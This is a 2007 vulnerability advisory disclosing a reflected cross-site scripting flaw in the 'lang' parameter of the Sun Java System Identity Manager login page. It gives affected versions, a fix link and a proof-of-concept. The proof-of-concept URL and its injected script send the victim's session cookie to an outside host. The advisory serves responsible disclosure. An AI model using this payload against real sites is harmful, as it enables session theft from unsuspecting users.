PR07-07: XSS on Sun Java System Identity Manager 6.0/7.x login page "lang" parameter

Date Found: 11th June 2007

Vendor Contacted: 18th June 2007

Severity: Medium/High

BID: 27214

Description:

Sun Java System Identity Manager login page is vulnerable to XSS within the "lang" parameter processed by the "/idm/login.jsp" server-side script.

Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to Sun Java System Identity Manager.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information to unauthorised third parties.

Note: the victim user does *not* need to be authenticated for this vulnerability to be exploitable.

Proof of concept (PoC):

The provided PoC URL forwards the victim user's cookie to a third-party site (procheckup.com in this case).

https://target.tld/idm/login.jsp?lang=--><script>window.location=
"http://procheckup.com/?"+document.cookie</script><!--&cntry=

Injected payload:

--><script>window.location="http://procheckup.com/?"+document.cookie</script><!--

Successfully tested on:

Server environment:

Sun Java System Identity Manager 6.0 (20061212 SP 2)
Apache-Coyote/1.1
Apache Tomcat/5.0.28

Client environment:

Microsoft Internet Explorer 7.0.5730.11

Sun has confirmed the following products to be affected by this issue:

Sun Java System Identity Manager 6.0, Sun Java System Identity Manager 7.0, Sun Java System Identity Manager 7.1

Author: Jan Fry and Adrian Pastor of ProCheckUp Ltd (www.procheckup.com)

ProCheckUp thanks Sun for working with us.

References:

http://www.procheckup.com/Vulnerabilities

Fix:

http://sunsolve.sun.com/search/document.do?assetkey=1-26-103180-1

Legal:

Copyright 2007 ProCheckUp Ltd.

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Any other use of this information is prohibited.

ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.